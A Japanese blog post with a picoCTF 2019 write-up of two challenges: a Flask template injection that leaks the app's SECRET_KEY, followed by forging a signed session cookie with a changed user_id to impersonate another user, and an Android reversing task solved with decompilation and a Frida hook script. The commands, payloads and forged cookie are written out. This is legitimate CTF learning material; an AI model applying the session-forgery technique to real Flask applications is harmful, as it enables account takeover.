こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

picoCTF 2019 Writeup - Empire3, droids4

チームとしては全完し、自分はWeb問とAndroidのRev問とForensics問を幾つか解いた。
問題数が多いため、配点が高い問題から2問だけWriteupを記載。

Empire3 500

Question

Agent 513! One of your dastardly colleagues is laughing very sinisterly! 
Can you access his todo list and discover his nefarious plans?
https://2019shell1.picoctf.com/problem/12277/ or http://2019shell1.picoctf.com:12277

f:id:graneed:20191012051214p:plain

Solution

ToDo登録機能にTemplate Injectionの脆弱性あり。 {{config}}を入力すると、SECRET_KEYが確認できる。

Very Urgent: <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '060931fb0b0021e20a246fc3a1268559', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite://', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}>

SECRET_KEYがわかればセッションを改ざんして署名できる。 以下のツールを使う。

github.com

まずは自分のCookieのデコードおよび署名があっているか確認する。

(venv3) root@kali:/mnt/CTF/Contest# python3 flask_session_cookie_manager3.py decode -c ".eJwljzGKAzEMAP_iOoVsyZaUzyySLHMhcAe7SRXy92y4bpqBmVfZ1p7HT7k-9mdeynab5VrSuY_oBgCM7tbZs5uiQCBkNBdsYhySqsknkM6qJKsFwFq4oApXwGlWyYRhSrgyr45VsSW1ihMgByqQEUwX8ghlCuoZWS4ljn1tj797_p49rVOzHHOAJMmIqEykjg2riH8Z0KjO03seuf9PaHl_AGYPPcQ.XY8dnA.1fUncoofz1BPhyXhBSrNTOuPGes" -s "060931fb0b0021e20a246fc3a1268559"
{'_fresh': True, '_id': 'eb756c5a00073bba57be5a9380c30ec2b8328a7c8e99e7a7c49d1948f2c00ff3f0187103daa14a870d8cb977f531932e4213d00e63904a40db84bcc974c45ece', 'csrf_token': '2542ae6d608e486cc17449b323188b744903a41d', 'user_id': '9'}

エラーが出ないので、SECRET_KEYは合っている。改ざんする。

(venv3) root@kali:/mnt/CTF/Contest# python3 flask_session_cookie_manager3.py encode -s "060931fb0b0021e20a246fc3a1268559" -t "{'_fresh': True, '_id': 'eb756c5a00073bba57be5a9380c30ec2b8328a7c8e99e7a7c49d1948f2c00ff3f0187103daa14a870d8cb977f531932e4213d00e63904a40db84bcc974c45ece', 'csrf_token': '2542ae6d608e486cc17449b323188b744903a41d', 'user_id': '2'}"
.eJwljzGKAzEMAP_iOoVsyZaUzyySLHMhcAe7SRXy92y4bpqBmVfZ1p7HT7k-9mdeynab5VrSuY_oBgCM7tbZs5uiQCBkNBdsYhySqsknkM6qJKsFwFq4oApXwGlWyYRhSrgyr45VsSW1ihMgByqQEUwX8ghlCuoZWS4ljn1tj797_p49rVOzHHOAJMmIqEykjg2riH8Z0KjO03seuf9PtPL-AGX6Pb0.XY8kYw.GlisqqCEYaUiTrJLDpG9Z64CH5w

生成したCookieをブラウザにセットして画面をリロードすると、無事に成りすましできた。ToDo確認画面にフラグがあった。

Very Urgent: Do dastardly plan: picoCTF{cookies_are_a_sometimes_food_5cb798fc}

フラグゲット。

droids4 500

Question

reverse the pass, patch the file, get the flag. Check out this file. 
You can also find the file in /problems/droids4_0_99ba4f323d3d194b5092bf43d97e9ce9.

Solution

apkファイルをapktoolとdex2jarでjarファイルにしてjadで解析する。

FlagstaffHillクラスを確認する。

package com.hellocmu.picoctf;

import android.content.Context;

public class FlagstaffHill
{
  public static native String cardamom(String paramString);
  
  public static String getFlag(String paramString, Context paramContext)
  {
    StringBuilder localStringBuilder1 = new StringBuilder("aaa");
    paramContext = new StringBuilder("aaa");
    StringBuilder localStringBuilder2 = new StringBuilder("aaa");
    StringBuilder localStringBuilder3 = new StringBuilder("aaa");
    localStringBuilder1.setCharAt(0, (char)(localStringBuilder1.charAt(0) + '\004'));
    localStringBuilder1.setCharAt(1, (char)(localStringBuilder1.charAt(1) + '\023'));
    localStringBuilder1.setCharAt(2, (char)(localStringBuilder1.charAt(2) + '\022'));
    paramContext.setCharAt(0, (char)(paramContext.charAt(0) + '\007'));
    paramContext.setCharAt(1, (char)(paramContext.charAt(1) + '\000'));
    paramContext.setCharAt(2, (char)(paramContext.charAt(2) + '\001'));
    localStringBuilder2.setCharAt(0, (char)(localStringBuilder2.charAt(0) + '\000'));
    localStringBuilder2.setCharAt(1, (char)(localStringBuilder2.charAt(1) + '\013'));
    localStringBuilder2.setCharAt(2, (char)(localStringBuilder2.charAt(2) + '\017'));
    localStringBuilder3.setCharAt(0, (char)(localStringBuilder3.charAt(0) + '\016'));
    localStringBuilder3.setCharAt(1, (char)(localStringBuilder3.charAt(1) + '\024'));
    localStringBuilder3.setCharAt(2, (char)(localStringBuilder3.charAt(2) + '\017'));
    if (paramString.equals("".concat(localStringBuilder2.toString()).concat(paramContext.toString()).concat(localStringBuilder1.toString()).concat(localStringBuilder3.toString()))) {
      return "call it";
    }
    return "NOPE";
  }
}

文字列をごちゃごちゃ操作しているが、 "".concat(localStringBuilder2.toString()).concat(paramContext.toString()).concat(localStringBuilder1.toString()).concat(localStringBuilder3.toString())の実行結果はalphabetsoupとなる。 しかしAndroidにアプリをインストールして画面入力しても、call itと表示されるだけである。

cardamomメソッドを呼ぶ必要がありそうだ。fridaを使用してフックする。

以下を参考にする。

FridaによるAndroidアプリの動的解析とフッキングの基礎

Android StudioからAVDを起動して、エミュレータを起動する。 なお、エミュレータで起動するイメージにNexusなど既製品を使うとroot化できないので注意。

エミュレータで起動したAndroid端末にfrida-serverを送り込んで起動する

>adb push D:\Downloads\frida-server-12.7.5-android-x86 /data/local/tmp/frida-server
>adb shell chmod 755 /data/local/tmp/frida-server
>adb shell /data/local/tmp/frida-server &

次にホストマシンにfrida-toolsを入れる。 なお、ホストマシンがWindowsの場合、Python3.7が必要だった。3.6だとエラーになった。

(venv) D:\Develop\CTF\Contest>pip install frida-tools

バイスを確認。

(venv) D:\Develop\CTF\Contest>frida-ls-devices
Id             Type    Name
-------------  ------  ---------------------
local          local   Local System
emulator-5554  usb     Android Emulator 5554
tcp            remote  Local TCP

フックするスクリプトを用意する。cardamomの引数には、alphabetsoupをセットした。
(結果的に"alphabetsoup"以外だとAndroidアプリがエラー落ちする。)

function hookClassA() {
  var FlagstaffHill = Java.use("com.hellocmu.picoctf.FlagstaffHill");
  FlagstaffHill.getFlag.implementation = function(arg1, arg2) {
    console.log("[*] getFlag called");
    return FlagstaffHill.cardamom("alphabetsoup");
  }
  console.log("[*] modified");
}

setImmediate(function() {
  console.log("[*] Starting script");

  Java.perform(function() {
    hookClassA();
  })
})

エミュレータ起動しているAndroid端末に対象のアプリをインストールして起動してから、ホストマシンでfrida起動。

(venv) D:\Develop\CTF\Contest>frida -D emulator-5554 -l frida-hook_four.js com.hellocmu.picoctf
     ____
    / _  |   Frida 12.7.5 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Attaching...
[*] Starting script
[*] modified
[Android Emulator 5554::com.hellocmu.picoctf]->

フックできたようだ。 ボタンを押下するとフラグが表示された。

picoCTF{not.particularly.silly}

フラグゲット。